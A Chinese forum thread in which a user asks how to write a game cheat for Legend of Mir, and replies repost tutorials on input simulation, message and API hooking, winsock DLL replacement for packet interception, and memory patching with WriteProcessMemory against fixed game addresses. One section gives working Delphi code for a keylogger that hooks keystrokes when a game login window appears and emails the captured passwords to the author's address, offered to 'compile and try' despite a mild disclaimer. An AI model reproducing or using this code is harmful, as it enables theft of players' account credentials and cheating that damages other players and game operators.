如何制作游戏外挂,请高手指教(100分)

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我想做个传奇外挂,以前没写过外挂程序,请知道的朋友指点一下
 
外挂分析

我主要对外挂的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,
我也没有那么厉害,所有的都知道,呵呵!
1 首先游戏外挂的原理
外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好
像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没
有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)
修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到
的方法都作一个介绍,希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术.
我见到一片文章是讲魔力宝贝的理论分析,写的不错,大概是那个样子.
下来我就讲解一下技术方面的东西,以作引玉之用
2 技术分析部分
1 模拟键盘或鼠标的响应
我们一般使用UINT SendInput(
UINT nInputs, // count of input events
LPINPUT pInputs, // array of input events
int cbSize // size of structure
);api函数
第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应事件,这个自己填充
就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵
注意:这个函数还有个替代函数:
VOID keybd_event(
BYTE bVk, // 虚拟键码
BYTE bScan, // 扫描码
DWORD dwFlags,
ULONG_PTR dwExtraInfo // 附加键状态
);和
VOID mouse_event(
DWORD dwFlags, // motion and click options
DWORD dx, // horizontal position or change
DWORD dy, // vertical position or change
DWORD dwData, // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
);
这两个函数非常简单了,我想那些按键精灵就是用的这个吧,呵呵,上面的是模拟键盘,下面
的是模拟鼠标的.
这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,
就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow
函数来查找制定的窗口(注意还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗
口,比如按钮,等什么东西.当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前
窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东
西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法.有的游戏没有控
件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了.这就需要我们用别的办法
来辅助分析了.
至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单,大家可能
都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而
且现在网上的例子多如牛毛,这个实现在外挂中已经很普遍了.如果还有谁不明白,那就去看
看msdn查找SetWindowHook就可以了.

这个动态连接库的作用很大,不要低估了哦,它可以切入所有的进程空间,也就是可以加载到
所有的游戏里面哦,只要用对,你会发现很有用途的!
这个需要你复习一下win32编程的基础知识了,呵呵,赶快去看书吧!

2截获消息
有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西,这个时候你就可
以用拦截消息来实现一些有趣的功能了.
我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的
对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧,
其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的.
至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判
断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵,后果嘛,不一定
是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试
看吧!用途还有很多,自己想也可以想出来的,呵呵!

3拦截socket包
这个技术难度要比原来的高很多哦,要有思想准备.
首先我们要替换winSock.dll或者winsock32.dll,我们写的替换函数要和原来的函数一致才
行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要
一样才行,然后在我们的函数里面调用真正的winSock32.dll里面的函数就可以了
首先:我们可以替换动态库到系统路径
其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary
然后定位函数入口用GetProcAddress函数获得每个真正socket函数的入口地址
当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正
动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据.呵呵!
兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,
呵呵!还早呢,等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封
号,呵呵,呜~~~~~~~~我就被封了好多啊!
分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写外挂
的人都是亡命之徒啊,被人娱乐了还不知道,呵呵!(声明我可没有赚钱,我是免费的)
好了,给大家一个不错的起点,这里有完整的替换socket源代码,呵呵!
http://www.vchelp.net/vchelp/zsrc/wsock32_sub.zip

4截获api
上面的技术如果可以灵活运用的话我们就不用截获api函数了,其实这种技术是一种补充技
术.比如我们需要截获socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们
也可以用它直接拦截在socket中的函数,这样更直接.
现在拦截api的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截
的,这个方法可以用到任何一种操作系统上,比如98/2000等,有些方法不是跨平台的,我不建
议使用.这个技术大家可以参考windows核心编程里面的545页开始的内容来学习,如果是98
系统可以用window系统奥秘那个最后一章来学习.
好了方法就是这么多了,看大家怎么运用了,其它的一些针对性的技巧这里我就不说了,要不
然会有人杀了我的,呵呵!

记住每个游戏的修改方法都不一样,如果某个游戏数据处理全部在服务器端,那么你还是别
写外挂了,呵呵,最多写个自动走路的外挂,哈哈!
数据分析的时候大家一定要注意,不要轻易尝试和服务器的连接,因为那有很危险,切忌!等
你掌握了大量的数据分析结果以后,比较有把握了在试试,看看你的运气好不好,很有可能会
成功的哦,呵呵!
其实像网金也疯狂的那种模拟客户端的程序也是不错的,很适合office的人用,就看大家产
品定位了.
好了不说了,大家努力吧!切忌不要被游戏厂商招安哦,那样有损我们的形象,我们是为了让
游戏做的更好而开发的,也不愿意打乱游戏的平衡,哎,好像现在不是这样了!不说了随其自
然吧!
Qq:16055393
有什么技术问题可以找我.
网金里面的逆风飞扬是我妹妹的组织哦

 
转自CSDN的文章!!!

在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚
这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分
几种罢了(依制作难度):
1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的
人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,
TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不
能提高你的战斗力,但是可以提高你的士气^_^)
2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要
对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它
的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,
正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够
用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编
程技术提高的好东东)
3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不
过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视
技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。
(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万
别用呀!~~)
4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,
所以不能妄自评,惭愧~~)
5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理
是先截取封包,后修改,再转发(Kao,说起来简单,你做一个试试~~~~)。这种外挂适用
于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需
要apihook技术,winsock技术…………
  这几种外挂之中,前三种可以用VB,DELPHI等语言比较好实现,后两种则要
用VC等底层支持比较好的编程工具才好实现。(啪,请听下回分解)
(本人是个程序爱好者并不是专业制作外挂的,所以文中有什么不当请大家海涵,以后的
文章,我会依对动作式,本地修改式,木马式,封包式这4种东东的编写过程做详细解说)


上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在
就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(
当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这
叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不
同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发
现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API
函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠
标位置,它的使用方法如下:
BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法
用下:
VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,
左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随
机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用
这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看
看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是
用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey
的具体使用方法如下:
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模
拟按快捷键的周期。
(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还
能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以
后还有更复杂的东东等着你呢~~)



上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动
作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年
前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下
游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个
感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提
交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,
按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了
双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如
何制作的:
在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是
指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个
Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了
保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的
运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法
如下:
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess
的具体使用方法如下:
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使
用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到
WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory
等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性
的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,
我们照上面的方法对应去研究一下吧:
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不
是很难,最难的是要找到这些地址。
(方法大家已经看清楚了,具体实践就看大家的了,呵呵~~~~~~,不过不要高兴太早,这
种网络游戏毕竟占少数,所以我会在以后的文章中对其他类型外挂做详细解说,对了,请
跟一下贴子,鼓励一下,不然我真的没有信心写下面的文章了,谢谢)



以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式
外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网
络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过
本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如
HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需
要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监
视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较
适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名
称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函
数就可以很轻松的实现了:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大
于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来
实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file:
//通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,
UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我
们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用
DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
reset(ReadFile); file://设为读取方式
try
While not Eof(ReadFile) do file://当没有读到文件尾
begin
Readln(ReadFile,s,j); file://读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://关闭文件
end;
nmsmtp1.EncodeType:=uuMime; file://设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
nmsmtp1.SendMail; file://发送邮件
这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在
www.playicq.com上找得到。
(其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的
文章后不要到处乱应用呀~~~~小生在此有礼了~~~)

 
四個非常
非常精通Windows內核
非常精通匯編
非常多的時間
非常好的耐性

少一個你都比搞了
 
接受答案了.
 
传奇3外挂源代码
不骗人的哦,因为如果有投竖也是收不到钱的,
delphi写的传奇3外挂。
http://www.playicq.com/shop/dispsource.php?id=115
 
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